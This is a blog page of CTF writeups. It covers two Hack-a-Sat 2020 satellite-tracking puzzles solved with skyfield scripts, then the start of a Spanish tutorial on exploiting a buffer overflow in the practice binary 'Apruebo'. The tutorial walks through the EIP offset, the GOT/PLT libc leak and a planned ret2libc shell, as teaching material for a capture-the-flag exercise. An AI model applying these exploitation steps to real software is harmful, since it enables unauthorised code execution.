<span class="n">satellite</span> <span class="o">=</span> <span class="n">EarthSatellite</span><span class="p">(</span><span class="n">line1</span><span class="p">,</span> <span class="n">line2</span><span class="p">)</span>
<span class="c1">#timestamp = 1586789933.820023 # 0
</span><span class="n">timestamp</span> <span class="o">=</span> <span class="mf">1586598368.85645</span> <span class="c1"># chall
</span><span class="n">a</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">timestamp</span><span class="p">).</span><span class="n">split</span><span class="p">(</span><span class="s">"."</span><span class="p">)[</span><span class="mi">0</span><span class="p">])</span> <span class="c1"># Just some formatting for the timestamp for loop
</span><span class="n">b</span> <span class="o">=</span> <span class="s">"."</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">timestamp</span><span class="p">).</span><span class="n">split</span><span class="p">(</span><span class="s">"."</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">a</span> <span class="o">+</span> <span class="mi">720</span><span class="p">):</span>
<span class="n">i</span> <span class="o">=</span> <span class="nb">float</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="o">+</span> <span class="n">b</span><span class="p">)</span>
<span class="n">everything</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">datetime</span><span class="p">.</span><span class="n">utcfromtimestamp</span><span class="p">(</span><span class="n">i</span><span class="p">)).</span><span class="n">split</span><span class="p">(</span><span class="s">" "</span><span class="p">)</span>
<span class="n">year</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">everything</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">"-"</span><span class="p">)[</span><span class="mi">0</span><span class="p">])</span>
<span class="n">month</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">everything</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">"-"</span><span class="p">)[</span><span class="mi">1</span><span class="p">])</span>
<span class="n">day</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">everything</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">"-"</span><span class="p">)[</span><span class="mi">2</span><span class="p">])</span>
<span class="n">hour</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">everything</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">":"</span><span class="p">)[</span><span class="mi">0</span><span class="p">])</span>
<span class="n">minute</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">everything</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">":"</span><span class="p">)[</span><span class="mi">1</span><span class="p">])</span>
<span class="n">second</span> <span class="o">=</span> <span class="nb">float</span><span class="p">(</span><span class="n">everything</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">":"</span><span class="p">)[</span><span class="mi">2</span><span class="p">])</span>
<span class="n">ts</span> <span class="o">=</span> <span class="n">load</span><span class="p">.</span><span class="n">timescale</span><span class="p">()</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">ts</span><span class="p">.</span><span class="n">utc</span><span class="p">(</span><span class="n">year</span><span class="p">,</span> <span class="n">month</span><span class="p">,</span> <span class="n">day</span><span class="p">,</span> <span class="n">hour</span><span class="p">,</span> <span class="n">minute</span><span class="p">,</span> <span class="n">second</span><span class="p">)</span>
<span class="n">difference</span> <span class="o">=</span> <span class="n">satellite</span> <span class="o">-</span> <span class="n">groundstation</span>
<span class="n">topocentric</span> <span class="o">=</span> <span class="n">difference</span><span class="p">.</span><span class="n">at</span><span class="p">(</span><span class="n">t</span><span class="p">)</span>
<span class="n">alt</span><span class="p">,</span> <span class="n">az</span><span class="p">,</span> <span class="n">distance</span> <span class="o">=</span> <span class="n">topocentric</span><span class="p">.</span><span class="n">altaz</span><span class="p">()</span>
<span class="n">azimuth</span> <span class="o">=</span> <span class="n">az</span><span class="p">.</span><span class="n">degrees</span>
<span class="n">altitude</span> <span class="o">=</span> <span class="n">alt</span><span class="p">.</span><span class="n">degrees</span>
<span class="c1">#print('[Obj->Sat] Azimuth: (deg)', azimuth)
</span> <span class="c1">#print('[Obj->Sat] Altitude: (deg) ' + str(altitude))
</span>
<span class="k">if</span> <span class="n">azimuth</span> <span class="o">></span> <span class="mi">180</span><span class="p">:</span>
<span class="n">first</span> <span class="o">=</span> <span class="nb">int</span><span class="p">((((</span><span class="n">azimuth</span> <span class="o">-</span> <span class="mi">180</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="mi">7372</span> <span class="o">-</span> <span class="mi">2457</span><span class="p">))</span> <span class="o">/</span> <span class="mi">180</span><span class="p">)</span> <span class="o">+</span> <span class="mi">2457</span><span class="p">)</span>
<span class="n">second</span> <span class="o">=</span> <span class="nb">int</span><span class="p">((((</span><span class="mi">90</span> <span class="o">+</span> <span class="p">(</span><span class="mi">90</span> <span class="o">-</span> <span class="n">altitude</span><span class="p">))</span> <span class="o">*</span> <span class="p">(</span><span class="mi">7372</span> <span class="o">-</span> <span class="mi">2457</span><span class="p">))</span> <span class="o">/</span> <span class="mi">180</span><span class="p">)</span> <span class="o">+</span> <span class="mi">2457</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">first</span> <span class="o">=</span> <span class="nb">int</span><span class="p">((((</span><span class="n">azimuth</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="mi">7372</span> <span class="o">-</span> <span class="mi">2457</span><span class="p">))</span> <span class="o">/</span> <span class="mi">180</span><span class="p">)</span> <span class="o">+</span> <span class="mi">2457</span><span class="p">)</span>
<span class="n">second</span> <span class="o">=</span> <span class="nb">int</span><span class="p">((((</span><span class="n">altitude</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="mi">7372</span> <span class="o">-</span> <span class="mi">2457</span><span class="p">))</span> <span class="o">/</span> <span class="mi">180</span><span class="p">)</span> <span class="o">+</span> <span class="mi">2457</span><span class="p">)</span>
<span class="c1">#print("First: " + str(first))
</span> <span class="c1">#print("Second: " + str(second) + "\n\n")
</span>
<span class="n">entry</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="o">+</span> <span class="s">", "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">first</span><span class="p">)</span> <span class="o">+</span> <span class="s">", "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">second</span><span class="p">)</span> <span class="o">+</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span>
<span class="c1">#print(entry)
</span>
<span class="n">final</span> <span class="o">+=</span> <span class="n">entry</span>
<span class="c1">#sleep(0.02)
</span>
<span class="n">final</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span>
<span class="k">print</span><span class="p">(</span><span class="n">final</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">final</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvall</span><span class="p">())</span>
</code></pre></div></div>
<p>With the final script done and the flag obtained, <strong>Track the Sat</strong> is finished.</p>
<h2 id="wheres-the-sat">Where’s the Sat?</h2>
<p>This challenge was rather easy after all the research and skyfield documentation read for the previous challenge.
Challenge description: <strong>“Let’s start with an easy one, I tell you where I’m looking at a satellite, you tell me where to look for it later.”</strong></p>
<p>When we connect with netcat and provide our ticket we get this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Please use the following time to find the correct satellite:(2020, 3, 18, 19, 18, 14.0)
Please use the following Earth Centered Inertial reference frame coordinates to find the satellite:[5408.543507363938, 2906.793258078781, -2834.1992918111864]
Current attempt:1
What is the X coordinate at the time of:(2020, 3, 18, 14, 10, 48.0)?
</code></pre></div></div>
<p>We have to provide it a satellite’s position at a given time.</p>
<p>We are given a list of satellites in the downloadable file <code class="language-plaintext highlighter-rouge">stations.txt</code>. It is a list of TLEs from which we can calculate each satellite’s orbit.</p>
<p>The challenge gives us the position the wanted satellite is at at a given time. Having this in mind, we can calculate every satellite’s position and that given time and look for a match to find the satellite wanted for the challenge.</p>
<p>We build a python script to do this:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">skyfield.api</span> <span class="kn">import</span> <span class="n">EarthSatellite</span><span class="p">,</span> <span class="n">Topos</span><span class="p">,</span> <span class="n">load</span>
<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"./stations.txt"</span><span class="p">,</span> <span class="s">"r"</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
<span class="n">stations</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">strip</span><span class="p">().</span><span class="n">split</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">ts</span> <span class="o">=</span> <span class="n">load</span><span class="p">.</span><span class="n">timescale</span><span class="p">()</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">ts</span><span class="p">.</span><span class="n">utc</span><span class="p">(</span><span class="mi">2020</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">18</span><span class="p">,</span> <span class="mi">19</span><span class="p">,</span> <span class="mi">18</span><span class="p">,</span> <span class="mf">14.0</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">72</span><span class="p">):</span> <span class="c1"># stations.txt has 72 TLEs
</span> <span class="n">name</span> <span class="o">=</span> <span class="n">stations</span><span class="p">[(</span><span class="mi">3</span><span class="o">*</span><span class="p">(</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">-</span><span class="mi">3</span><span class="p">)]</span> <span class="c1"># Get the satellite name for each TLE
</span> <span class="n">line1</span> <span class="o">=</span> <span class="n">stations</span><span class="p">[(</span><span class="mi">3</span><span class="o">*</span><span class="p">(</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">-</span><span class="mi">2</span><span class="p">)]</span> <span class="c1"># Get the first line of each TLE
</span> <span class="n">line2</span> <span class="o">=</span> <span class="n">stations</span><span class="p">[(</span><span class="mi">3</span><span class="o">*</span><span class="p">(</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)]</span> <span class="c1"># Get the second line of each TLE
</span> <span class="k">print</span><span class="p">(</span><span class="s">"[Satellite Name]"</span><span class="p">,</span> <span class="n">name</span><span class="p">)</span> <span class="c1"># Prints to debug if the information
</span> <span class="k">print</span><span class="p">(</span><span class="s">"[Line 1]"</span><span class="p">,</span> <span class="n">line1</span><span class="p">)</span> <span class="c1"># is correct
</span> <span class="k">print</span><span class="p">(</span><span class="s">"[Line 2]"</span><span class="p">,</span> <span class="n">line2</span><span class="p">)</span>
<span class="n">satellite</span> <span class="o">=</span> <span class="n">EarthSatellite</span><span class="p">(</span><span class="n">line1</span><span class="p">,</span> <span class="n">line2</span><span class="p">)</span> <span class="c1"># We create a satellite object
</span> <span class="n">geocentric</span> <span class="o">=</span> <span class="n">satellite</span><span class="p">.</span><span class="n">at</span><span class="p">(</span><span class="n">t</span><span class="p">)</span> <span class="c1"># from each TLE, and calculate its
</span> <span class="n">position</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">geocentric</span><span class="p">.</span><span class="n">position</span><span class="p">.</span><span class="n">km</span><span class="p">)</span> <span class="c1"># geocentric position for the
</span> <span class="c1"># given time
</span>
<span class="k">if</span> <span class="s">"5408"</span> <span class="ow">in</span> <span class="n">position</span><span class="p">:</span> <span class="c1"># filter for the position the wanted satellite was at
</span> <span class="c1"># at the given time
</span> <span class="k">print</span><span class="p">(</span><span class="s">"SATELLITE FOUND: "</span> <span class="o">+</span> <span class="n">name</span> <span class="o">+</span> <span class="s">"</span><span class="se">\n</span><span class="s">Position: "</span> <span class="o">+</span> <span class="n">position</span><span class="p">)</span>
<span class="k">break</span> <span class="c1"># break out of the loop when we find it
</span></code></pre></div></div>
<p>We run the script and get the wanted satellite:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SATELLITE FOUND: 1998-067PN
Position: [ 5408.54350736 2906.79325808 -2834.19929181]
</code></pre></div></div>
<p>Having the wanted satellite we can calculate its position at any time using the satellite object we created inside our loop. This means we can keep our satellite object to use it to calculate the coordinates the challenge wants.</p>
<p>I was too lazy to apply pwntools here since taking the times from the challenge and formatting them into a usable format for the script would’ve been a waste of time, so I just did an input prompt and introduced the values from nc as I got them, getting the answers and pasting them back into nc to get the flag. Here’s the final version of the script:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
# -*- coding: utf-8 -*-
</span>
<span class="kn">from</span> <span class="nn">skyfield.api</span> <span class="kn">import</span> <span class="n">EarthSatellite</span><span class="p">,</span> <span class="n">Topos</span><span class="p">,</span> <span class="n">load</span>
<span class="n">ticket</span> <span class="o">=</span> <span class="s">"REDACTED TICKET"</span>
<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"./stations.txt"</span><span class="p">,</span> <span class="s">"r"</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
<span class="n">stations</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">strip</span><span class="p">().</span><span class="n">split</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">ts</span> <span class="o">=</span> <span class="n">load</span><span class="p">.</span><span class="n">timescale</span><span class="p">()</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">ts</span><span class="p">.</span><span class="n">utc</span><span class="p">(</span><span class="mi">2020</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">18</span><span class="p">,</span> <span class="mi">19</span><span class="p">,</span> <span class="mi">18</span><span class="p">,</span> <span class="mf">14.0</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">72</span><span class="p">):</span>
<span class="n">name</span> <span class="o">=</span> <span class="n">stations</span><span class="p">[(</span><span class="mi">3</span><span class="o">*</span><span class="p">(</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">-</span><span class="mi">3</span><span class="p">)]</span>
<span class="n">line1</span> <span class="o">=</span> <span class="n">stations</span><span class="p">[(</span><span class="mi">3</span><span class="o">*</span><span class="p">(</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">-</span><span class="mi">2</span><span class="p">)]</span>
<span class="n">line2</span> <span class="o">=</span> <span class="n">stations</span><span class="p">[(</span><span class="mi">3</span><span class="o">*</span><span class="p">(</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)]</span>
<span class="c1">#print("[Satellite Name]", name)
</span> <span class="c1">#print("[Line 1]", line1)
</span> <span class="c1">#print("[Line 2]", line2)
</span>
<span class="n">satellite</span> <span class="o">=</span> <span class="n">EarthSatellite</span><span class="p">(</span><span class="n">line1</span><span class="p">,</span> <span class="n">line2</span><span class="p">)</span>
<span class="n">geocentric</span> <span class="o">=</span> <span class="n">satellite</span><span class="p">.</span><span class="n">at</span><span class="p">(</span><span class="n">t</span><span class="p">)</span>
<span class="n">position</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">geocentric</span><span class="p">.</span><span class="n">position</span><span class="p">.</span><span class="n">km</span><span class="p">)</span>
<span class="c1">#print(str(str(geocentric.itrf_xyz()).split(" ")[1])[:-4] + "\n\n")
</span> <span class="c1">#print(position + "\n\n")
</span>
<span class="k">if</span> <span class="s">"5408"</span> <span class="ow">in</span> <span class="n">position</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"SATELLITE FOUND: "</span> <span class="o">+</span> <span class="n">name</span> <span class="o">+</span> <span class="s">"</span><span class="se">\n</span><span class="s">Position: "</span> <span class="o">+</span> <span class="n">position</span><span class="p">)</span>
<span class="k">break</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="n">timeinput</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s">"New Time: "</span><span class="p">).</span><span class="n">split</span><span class="p">(</span><span class="s">","</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">timeinput</span><span class="p">)</span>
<span class="n">newtime</span> <span class="o">=</span> <span class="n">ts</span><span class="p">.</span><span class="n">utc</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">timeinput</span><span class="p">[</span><span class="mi">0</span><span class="p">]),</span><span class="nb">int</span><span class="p">(</span><span class="n">timeinput</span><span class="p">[</span><span class="mi">1</span><span class="p">]),</span><span class="nb">int</span><span class="p">(</span><span class="n">timeinput</span><span class="p">[</span><span class="mi">2</span><span class="p">]),</span><span class="nb">int</span><span class="p">(</span><span class="n">timeinput</span><span class="p">[</span><span class="mi">3</span><span class="p">]),</span><span class="nb">int</span><span class="p">(</span><span class="n">timeinput</span><span class="p">[</span><span class="mi">4</span><span class="p">]),</span><span class="nb">float</span><span class="p">(</span><span class="n">timeinput</span><span class="p">[</span><span class="mi">5</span><span class="p">]))</span>
<span class="n">newgeocentric</span> <span class="o">=</span> <span class="n">satellite</span><span class="p">.</span><span class="n">at</span><span class="p">(</span><span class="n">newtime</span><span class="p">)</span>
<span class="n">newposition</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">newgeocentric</span><span class="p">.</span><span class="n">position</span><span class="p">.</span><span class="n">km</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Newposition: "</span> <span class="o">+</span> <span class="n">newposition</span><span class="p">)</span>
</code></pre></div></div>
<p>And once more, with the final script done and the flag obtained, <strong>Where’s the Sat?</strong> is finished :D</p>
<p>Thanks for reading the writeup and I hope I managed to explain every step of what I did successfully, if you have any questions or want to contact me for some other reason you can use any of the socials linked here.</p>c4eHackasat2020 Quals was a ctf that took place on the weekend of May 23rd. I wasn't planning on doing it but then a buddy from the CTF team Cntr0llz invited me to participate with them (thanks :D!).CuarenTeFa Apruebo Writeup2020-03-22T00:00:00-03:002020-03-22T00:00:00-03:00c4ebt.github.io/writeups/2020/03/22/CuarenTeFa_PWN_Writeup<p>Acá dejo mi writeup para el challenge “Apruebo” hecho por <a href="https://dplastico.me/">dplastico</a> para el CTF CuarenTeFa del 21 de Marzo de 2020 organizado por <a href="https://t.me/joinchat/GgG8nxC3jHVwxNFeyQt_OA">L4tinHTB</a>.</p>
<p>El desafío pertenecía a la categoría PWN y tenia un valor de 300 puntos (súbanle el puntaje a PWN!), y fue resuelto solamente por dos participantes. En este writeup voy a explicar detalladamente todos los procesos por los que se tiene que pasar para lograr un exploit exitoso, introduciendo el ataque ret2libc, los memory leaks y como este funciona relacionado a la PLT y GOT.</p>
<p>Al día siguiente del CTF los organizadores hicieron un live resolviendo todos los challenges, pero la solución aun no esta publicada en YouTube al momento en que escribo este writeup. Los métodos usados en su solución y en la mía son prácticamente los mismos solo que el autor implementó herramientas automáticas y yo aquí voy a hacerlo todo manual y explicado paso a paso para que se entienda :D.</p>
<h2 id="apruebo">Apruebo</h2>
<p>Como en la mayoría de desafíos PWN, comenzamos con un archivo zip y una IP y puerto a los que nos podemos conectar. El objetivo en este challenge va a ser explotar un Buffer Overflow en el binario que se nos da para poder conseguir una shell en la maquina remota y así poder leer la flag.
<a href="/downloads/Apruebo.7z">Aquí</a> tienen un link donde pueden descargar el archivo, y pueden emular la situación del binario corriendo en una maquina remota ustedes mismos haciendo <code class="language-plaintext highlighter-rouge">nc -nvlp 5555 -e apruebo</code> y tendrán el servicio corriendo en <code class="language-plaintext highlighter-rouge">127.0.0.1:5555</code>.</p>
<p><img src="/assets/images/content/cuarentefa/Inicio.png" alt="" /></p>
<p>Descomprimimos el zip, cambiamos los archivos a modo ejecutable y estamos listos para empezar.
Vemos que tenemos un binario y una libc, asumimos que es la libc de la maquina remota que nos es entregada para poder conseguir direcciones y demás. Al correr el binario, este espera nuestro input y luego printea <code class="language-plaintext highlighter-rouge">Q4{CTF2020}!</code>, una distracción por parte del creador del desafío a una flag del estilo Q4{} usadas en un CTF pasado.
Hacemos el comando <code class="language-plaintext highlighter-rouge">file</code> con el archivo para ver si se trata de un binario de 32 o 64 bits:</p>
<p><img src="/assets/images/content/cuarentefa/file.png" alt="" /></p>
<p>y luego hacemos <code class="language-plaintext highlighter-rouge">checksec</code> para identificar las protecciones que tiene:</p>
<p><img src="/assets/images/content/cuarentefa/checksec.png" alt="" /></p>
<p>Vemos que la única protección que tiene el binario es NX. No podremos ejecutar un simple buffer overflow con shellcode ya que la proteccion NX hace que el stack no sea ejecutable. Tendremos que optar entonces por una <a href="https://ropemporium.com/guide.html">ROP Chain</a> para poder obtener una shell.
Comenzamos reverseando brevemente el binario para hacernos una idea de lo que hace. Para esto vamos a usar radare2:</p>
<p><img src="/assets/images/content/cuarentefa/radare-beginning.png" alt="" /></p>
<p>Vemos 2 funciones que nos podrían interesar por ahora: <code class="language-plaintext highlighter-rouge">main</code> y <code class="language-plaintext highlighter-rouge">vuln</code>.
<code class="language-plaintext highlighter-rouge">Main</code>:</p>
<p><img src="/assets/images/content/cuarentefa/radare-main.png" alt="" /></p>
<p>Tomando una mirada mas cercana a <code class="language-plaintext highlighter-rouge">main</code> nos damos cuenta de que lo único que hace es llamar a <code class="language-plaintext highlighter-rouge">vuln</code> y luego printear algo al stdout mediante la función <code class="language-plaintext highlighter-rouge">write</code>, que podemos asumir seguramente es el <code class="language-plaintext highlighter-rouge">Q4{CTF2020}!</code> que vimos al ejecutar el binario.</p>
<p>Pasamos a mirar la función <code class="language-plaintext highlighter-rouge">vuln</code>. Esta nos interesa mas:</p>
<p><img src="/assets/images/content/cuarentefa/radare-vuln.png" alt="" /></p>
<p>Vemos una llamada a la función <code class="language-plaintext highlighter-rouge">read</code>, que es la función que nos pide el input inicialmente al correr el binario. Es esta función la que vamos a usar para empezar nuestro exploit, es decir, la que vamos a overflowear.</p>
<p>Suficiente reversing, pasamos a ver como crashear el binario y a construir nuestro exploit. Abrimos el binario en gdb (con el plugin peda):</p>
<p><img src="/assets/images/content/cuarentefa/pattern-create.png" alt="" /></p>
<p>Creamos una string de 200 caracteres con patron identificable para luego poder saber donde tenemos el offset para sobreescribir el EIP</p>
<p><img src="/assets/images/content/cuarentefa/pattern-offset.png" alt="" /></p>
<p>Podemos comprobar esto en la terminal con python:</p>
<p><img src="/assets/images/content/cuarentefa/pythoncrash.png" alt="" /></p>
<p>Efectivamente crasheamos el programa, usando el comando <code class="language-plaintext highlighter-rouge">dmesg</code> podemos analizar por que ocurrió el crash:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[ 6185.322908] apruebo[11718]: segfault at 41414141 ip 0000000041414141 sp 00000000ff974fb0 error 14 in libc-2.29.so[f7d7e000+1d000]
[ 6185.322915] Code: Bad RIP value.
</code></pre></div></div>
<p>Vemos que 4 bytes sobreescribieron el EIP, causando el crash. Estos 4 bytes son los que introdujimos con el comando de python, ya que printeamos 144 en vez de 140 para lograr el crash.</p>
<p>Con esta información empezamos a construir nuestro exploit.
Para este challenge vamos a usar <code class="language-plaintext highlighter-rouge">pwntools</code>, una librería para exploiting en python muy util.
Nuestro exploit va quedando así:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s">"./apruebo"</span><span class="p">)</span> <span class="c1"># Definimos el binario que vamos a explotar
#p = gdb.debug("./apruebo") # Muy util para debuggear
</span>
<span class="n">junk</span> <span class="o">=</span> <span class="s">"A"</span><span class="o">*</span><span class="mi">140</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">junk</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</code></pre></div></div>
<p>Nuestro objetivo va a ser sobreescribir el eip para poder ejecutar la función que queramos. En este caso vamos a llamar a <code class="language-plaintext highlighter-rouge">write</code> con algunos argumentos especiales para leakear la dirección base de libc en la memoria, que no es fija debido a que el sistema tiene ASLR (Address Space Layout Randomization). Desde ahi, teniendo la direccion base de libc, vamos a poder llamar a <code class="language-plaintext highlighter-rouge">system</code> con <code class="language-plaintext highlighter-rouge">/bin/sh</code> para conseguir una shell y completar el challenge.</p>
<p>Entonces ahora tenemos que conseguir algunas direcciones para poder ejecutar nuestro exploit. Nuestra payload, por ahora, necesita lo siguiente:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">140 bytes de padding para sobreescribir el EIP</code> - Conseguido</li>
<li>Dirección de la función <code class="language-plaintext highlighter-rouge">write</code> para ejecutar el memory leak,</li>
<li>Direcciones para los parámetros de la función <code class="language-plaintext highlighter-rouge">write</code>, necesarios para el memory leak también.</li>
</ul>
<h4 id="memory-leak">Memory leak</h4>
<p>Para llevar a cabo un memory leak de la dirección de libc necesitamos entender primero los conceptos de PLT y GOT. Creo que <a href="https://youtu.be/kUk5pw4w0h4">este video de LiveOverflow</a> hace un muy buen trabajo explicándolos, pero esta en inglés así que voy a hacer lo mejor que pueda para explicarlos en este writeup.
Reverseando el binario vimos que las funciones <code class="language-plaintext highlighter-rouge">write</code> y <code class="language-plaintext highlighter-rouge">read</code> eran llamadas en determinados puntos de la ejecución. Pero a diferencia de las funciones <code class="language-plaintext highlighter-rouge">main</code> y <code class="language-plaintext highlighter-rouge">vuln</code>, que están “dentro” del binario, <code class="language-plaintext highlighter-rouge">write</code> y <code class="language-plaintext highlighter-rouge">read</code> son funciones externas importadas desde la libc.
Esto es implementado en la mayoría de binarios desde hace muchísimo tiempo, ya que ahorra mucho trabajo, espacio y velocidad. Entonces, como se llama a estas funciones si no están dentro del binario? Volvemos un poco a radare2 para analizarlo.</p>
<p><img src="/assets/images/content/cuarentefa/radare-functions.png" alt="" /></p>
<p>Vemos que las funciones <code class="language-plaintext highlighter-rouge">write</code> y <code class="language-plaintext highlighter-rouge">read</code> son simplemente instrucciones <code class="language-plaintext highlighter-rouge">jpm</code> a otra dirección. Si las analizamos en conjunto, corriendo el comando <code class="language-plaintext highlighter-rouge">V @ sym.imp.read</code> y subiendo un poco, nos podemos dar cuenta de que ambas son simplemente entradas de la PLT, o Procedure Linkage Table.</p>
<p><img src="/assets/images/content/cuarentefa/radare-plt.png" alt="" /></p>
<p>Esto significa que las direcciones fijas que tiene el binario de las funciones externas son saltos a otra dirección. Ahora veamos que hay en estas otras direcciones:</p>
<p><img src="/assets/images/content/cuarentefa/radare-got.png" alt="" /></p>
<p>Vemos el inicio de una sección llamada .got, o Global Offset Table. Es en esta sección donde los binarios establecen un link entre sus llamadas a funciones externas y las funciones mismas en libc. En la GOT podemos ver instrucciones <code class="language-plaintext highlighter-rouge">reloc.</code> con las funciones. <code class="language-plaintext highlighter-rouge">.reloc</code> significa “relocalización”, y es básicamente lo que ocurre en la GOT. La GOT siempre va a tener una dirección fija dentro de la memoria del binario, pero proporciona un link a las direcciones no fijas de las funciones al cargarse la libc a la memoria cuando se corre el binario. Cada vez que se corre el binario la libc toma una direccion diferente determinada aleatoriamente, como podemos ver en la siguiente imagen:
<img src="/assets/images/content/cuarentefa/libcrandom.png" alt="" /></p>
<p>Lo que hace la GOT cuando se corre el binario es almacenar esta dirección aleatoria en un lugar donde el binario pueda accederla, para que asi las funciones externas puedan ser llamadas. Esto plantea una vulnerabilidad ya que si se logra tener acceso a las direcciones de la GOT, se puede llegar a filtrar la dirección aleatoria de libc, dejando de lado entonces la protección ASLR y dando lugar a la ejecución de prácticamente lo que sea desde la libc.
Lo que buscamos entonces es acceder a estas direcciones en la GOT. Como hacemos esto? Podemos utilizar la función <code class="language-plaintext highlighter-rouge">write</code>, llamándola desde su dirección en la <code class="language-plaintext highlighter-rouge">PLT</code>, para printear para nosotros mismos lo que haya en la localización de <code class="language-plaintext highlighter-rouge">read@GOT</code>, que nos llevaría posteriormente a <code class="language-plaintext highlighter-rouge">read@libc</code>. Con esta ultima dirección podríamos calcular la dirección base de libc, y desde ahí ejecutar lo que se nos de la gana.
Pasemos ahora a la practica.</p>
<p>Necesitamos la direccion de <code class="language-plaintext highlighter-rouge">write@PLT</code> y de <code class="language-plaintext highlighter-rouge">read@GOT</code>. Podemos sacar ambas corriendo los siguientes comandos respectivamente:
<code class="language-plaintext highlighter-rouge">objdump -D apruebo | grep write</code>, obteniendo <code class="language-plaintext highlighter-rouge">0x08049050</code>. La <code class="language-plaintext highlighter-rouge">-D</code> es para desensamblar el binario.
<code class="language-plaintext highlighter-rouge">objdump -R apruebo | grep read</code>, obteniendo <code class="language-plaintext highlighter-rouge">0x0804c00c</code>. La <code class="language-plaintext highlighter-rouge">-R</code> es para ver las relocalizaciones dinámicas del binario, es decir, las direcciones de la GOT.</p>
